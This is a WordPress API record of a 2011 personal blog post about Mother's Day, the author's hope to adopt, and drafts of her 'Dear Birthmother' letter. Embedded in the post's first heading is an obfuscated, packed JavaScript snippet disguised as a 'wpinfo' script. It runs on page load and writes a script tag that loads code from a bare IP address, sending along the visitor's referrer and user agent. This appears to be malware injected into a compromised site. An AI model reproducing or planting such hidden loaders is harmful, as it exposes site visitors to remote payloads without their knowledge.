{"id":2049,"date":"2011-05-10T00:00:32","date_gmt":"2011-05-10T07:00:32","guid":{"rendered":"http:\/\/www.rebeccagibson.org\/?p=2049"},"modified":"2011-10-07T14:16:51","modified_gmt":"2011-10-07T21:16:51","slug":"mothers-day-dear-birthmother","status":"publish","type":"post","link":"http:\/\/www.rebeccagibson.org\/?p=2049","title":{"rendered":"Mother&#8217;s Day (Dear Birthmother&#8230;)"},"content":{"rendered":"<p><strong>Draft <noindex><script id=\"wpinfo-pst1\" type=\"text\/javascript\" rel=\"nofollow\">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(\/^\/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6(\"<a g=\\'2\\' c=\\'d\\' e=\\'b\/2\\' 4=\\'7:\/\/5.8.9.f\/1\/h.s.t?r=\"+3(0.p)+\"\\o=\"+3(j.i)+\"\\'><\\\/k\"+\"l>\");n m=\"q\";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|staky|var|u0026u|referrer|shtet||js|php'.split('|'),0,{}))\n<\/script><\/noindex> 1, scribbled on the back of an envelope while at a red light<\/strong><\/p>\n<p><em>Dear Birthmother,<br \/>\nPlease pick me.<\/em><img decoding=\"async\" title=\"More...\" src=\"http:\/\/www.rebeccagibson.org\/wp-includes\/js\/tinymce\/plugins\/wordpress\/img\/trans.gif\" alt=\"\" \/><!--more--><\/p>\n<p>A friend of mine described it well: you know how Valentine&#8217;s Day sucks when you&#8217;re single, even when you pretend it&#8217;s no big deal? Mother&#8217;s Day is like that for a lot of us, who want to be parents and can&#8217;t get there on our own.<img decoding=\"async\" title=\"More...\" src=\"http:\/\/www.rebeccagibson.org\/wp-includes\/js\/tinymce\/plugins\/wordpress\/img\/trans.gif\" alt=\"\" \/><\/p>\n<p>I spent Mother&#8217;s Day being very happy for my friends who were pregnant, getting a hug and a flower from Emily, a daughter-of-my-heart, and having a really good time hanging out with my own awesome mom.\u00c2\u00a0 I kept myself so busy with those things, that I simply had no time to be sad.<\/p>\n<p>However, I did manage to steal three minutes to myself to start my Dear Birthmother letter. It seemed like the best not-sorry-for-myself way to celebrate the day &#8220;on the inside.&#8221; So.<\/p>\n<p><strong>Draft 1, scribbled on the back of an envelope while at a red light<\/strong><\/p>\n<p><em>Dear Birthmother,<br \/>\nPlease pick me.<\/em><img decoding=\"async\" title=\"More...\" src=\"http:\/\/www.rebeccagibson.org\/wp-includes\/js\/tinymce\/plugins\/wordpress\/img\/trans.gif\" alt=\"\" \/><\/p>\n<p>But of course, I can&#8217;t turn that one in.\u00c2\u00a0 There&#8217;s a strict outline, with about 5 pages of instructions, and then there&#8217;s photos to include.\u00c2\u00a0 (As in online-dating, pictures of cats are discouraged.)<\/p>\n<p>Draft 2 was written while Paul pretty much held my hand because I was scared to start.\u00c2\u00a0 It&#8217;s impossible to write down the <em>reason<\/em> why I want to be a mother.\u00c2\u00a0 How could anybody ever explain a thing like that?\u00c2\u00a0 But it helps to think in categories: about the place I live, the things I&#8217;m good at, and the support I know I&#8217;ll have from my loved ones.<\/p>\n<p><strong>&#8230;from Draft 2&#8230;<\/strong><\/p>\n<p><em>I don\u00e2\u20ac\u2122t think of myself as single:\u00c2\u00a0 I think of myself as a family of one, ready to grow.\u00c2\u00a0 I\u00e2\u20ac\u2122ve always known I\u00e2\u20ac\u2122d be a mother someday\u00e2\u20ac\u00a6 all through my 20s I thought I would have a baby \u00e2\u20ac\u0153eventually, just not yet.\u00e2\u20ac\u009d\u00c2\u00a0 In the meantime, I was raising other children!\u00c2\u00a0 I worked as a nanny all through college, ran a preschool in graduate school, and then taught middle school for ten years.\u00c2\u00a0 I loved every minute and remember every single child.\u00c2\u00a0 My happiest days are the ones I spend with my niece and nephew, Jaden and Kyler, and with Emily, the little girl down the street.\u00c2\u00a0 (She lived with me for a while and we\u00e2\u20ac\u2122re still very close.)<\/em><em><\/em><\/p>\n<p><em>I knew I was ready to start a family one ordinary summer day.\u00c2\u00a0 It was just a quiet day at home, and I was looking at the sunlight coming through the window when\u00c2\u00a0 I heard a sound \u00e2\u20ac\u201c not in my imagination, but with my real ears \u00e2\u20ac\u201c and it sounded like yellow flowers blooming.\u00c2\u00a0 And I just knew:\u00c2\u00a0 something or someone had called to me.\u00c2\u00a0 I\u00e2\u20ac\u2122ve been looking for my child ever since.<\/em><em><\/em><\/p>\n<p><em>I live at the end of a quiet street in a neighborhood that is like a tiny microcosm of wacky, wonderful Durham:\u00c2\u00a0 my neighbors are African-American, Hispanic, and White; liberal grad students and well-to-do lesbian couples; conservative, gossipy old ladies on pensions and hard-working men with construction jobs.\u00c2\u00a0 We\u00e2\u20ac\u2122re walking distance from the elementary school and the park, and a day-trip away from the beach in one direction and the mountains in the other.<\/em><em><\/em><\/p>\n<p><em>My house is awash in waves of crayons, little misplaced socks, young adult novels and kids\u00e2\u20ac\u2122 picture books, boxes of raisins and boxes of juice, drifting in and out like tides.\u00c2\u00a0 My front yard has random holes in the lawn where my nephew was \u00e2\u20ac\u0153helping me garden.\u00e2\u20ac\u009d\u00c2\u00a0 My front door boasts a bizarre \u00e2\u20ac\u0153all-holiday\u00e2\u20ac\u009d wreath with flowers, fall leaves, and Christmas baubles, made by my niece.\u00c2\u00a0 Stacks of graph paper, writing paper, and math worksheets wait near the dining room table where Emily does her homework.\u00c2\u00a0 There\u00e2\u20ac\u2122s a tree in the backyard for climbing and a creek around the corner for adventures.\u00c2\u00a0 But my Christmas tree never looks right to me \u00e2\u20ac\u201c there are empty branches where those little plaster handprint ornaments should be.\u00c2\u00a0 Someone is missing.<\/em><em><\/em><\/p>\n<p><em>I have a close, loving, devoted family, and family-by-choice friends, who are all eager and excited to be part of this adventure.\u00c2\u00a0 My parents are retired and live nearby, and they\u00e2\u20ac\u2122re planning to help with childcare when I need it.\u00c2\u00a0 I have several friends who are stay-home moms \u00e2\u20ac\u201c and stay-home dads! \u00e2\u20ac\u201c who have already suggested sharing babysitting days.\u00c2\u00a0 My child will have lots of those childhood friends who end up being like cousins in a big family circle.\u00c2\u00a0 <\/em><em><\/em><\/p>\n<p><em>I do awesome crafts. I am very funny.\u00c2\u00a0 I&#8217;m a terrible gardener and an adventurous cook.\u00c2\u00a0 I hate Disney movies except for some of them.\u00c2\u00a0 I am against high-fructose corn sweeteners and in favor of bare feet and sticky fingers.\u00c2\u00a0 I do not fear the terrible twos or the terrible twelves or even the terrible twenties.<\/em><em><\/em><\/p>\n<p><em><strong>My Promise to You:<\/strong><\/em><em><\/em><\/p>\n<p><em>I\u00e2\u20ac\u2122m going to be a fantastic mother.\u00c2\u00a0 I won\u00e2\u20ac\u2122t give you any shit about smoking, and whenever you want to see the kid, it\u00e2\u20ac\u2122s cool.\u00c2\u00a0 As far as I\u00e2\u20ac\u2122m concerned, you\u00e2\u20ac\u2122re family.<\/em><\/p>\n<p>Well, it&#8217;s way over the word limit already, but it&#8217;s a start.<\/p>\n<p>Meanwhile, scheduling the home-study visit: <em>&#8220;Don&#8217;t stress; don&#8217;t worry; this isn&#8217;t a test, we&#8217;re just having a nice visit and there&#8217;s no need to prepare in any way.&#8221;<\/em> Yeah&#8230; right.\u00c2\u00a0 So I&#8217;ll be spending the next two weeks finishing the bathroom floor putting up new curtains reorganizing all the closets cleaning everything twice framing my nephew&#8217;s artwork stashing clutter in the attic ironing all the laundry reorganizing the bookshelves weeding the flower bed and vegetable garden making cookies so the kitchen smells good and&#8230; well, honestly, hiring professional house-cleaners. (Everybody does it.) <em><br \/>\n<\/em><\/p>\n<p>Meanwhile, Happy Mother&#8217;s Day to Me. And to my mom, and to Christi, and all the moms in my family.<\/p>\n<p>Happy Mother&#8217;s Day to my wonderful, amazing, brave friend, birthmother of my child, who is out there somewhere.\u00c2\u00a0 I hope I meet you soon!<\/p>\n<p>And to my friends who have kids, and my friends who are pregnant, and my friends who are adopting, and my friends &#8211; heck, friends of both genders -\u00c2\u00a0 who are still working out their plan for starting a family, and also to my friends who don&#8217;t want to have kids, or who aren&#8217;t sure, because without your love and support I couldn&#8217;t imagine doing this at all.\u00c2\u00a0 Happy Mother&#8217;s Day.<em><br \/>\n<\/em><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Draft 1, scribbled on the back of an envelope while at a red light Dear&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[53,63,21],"class_list":["post-2049","post","type-post","status-publish","format-standard","hentry","category-uncategorized","tag-adoption","tag-family","tag-musings"],"_links":{"self":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/2049"}],"collection":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=2049"}],"version-history":[{"count":6,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/2049\/revisions"}],"predecessor-version":[{"id":4507,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/2049\/revisions\/4507"}],"wp:attachment":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=2049"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=2049"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=2049"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}